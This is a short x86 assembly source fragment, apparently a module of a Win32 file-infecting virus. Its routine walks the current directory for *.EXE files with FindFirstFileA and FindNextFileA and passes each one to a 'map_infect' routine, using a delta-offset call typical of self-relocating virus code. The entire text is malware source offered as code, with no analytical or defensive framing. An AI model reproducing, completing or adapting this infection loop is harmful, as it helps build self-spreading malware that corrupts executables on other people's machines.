;%%%7 0 DSCN Infect files in current directory

;###FindFirstFileA
;###FindNextFileA
;###FindClose
infect_files:
	pushad

	call delta

;search for *.EXE files in the current directory

	sub esp,SIZEOF_WIN32_FIND_DATA
	mov eax,esp
	X_PUSH ecx,*.EXE~
	mov ecx,esp

	push eax
	push ecx
	call [ebp+_FindFirstFileA]
	X_POP
	mov ebx,eax
	inc eax

;no file found? exit...

  @@find_next:
	jz @@end_search

;found a file? map and infect it

	call map_infect

;search next file

	push esp
	push ebx
	call [ebp+_FindNextFileA]
	test eax,eax
	jmp @@find_next

;close the search handle

  @@end_search:
  	push ebx
  	call [ebp+_FindClose]

	add esp,SIZEOF_WIN32_FIND_DATA
	popad
	ret

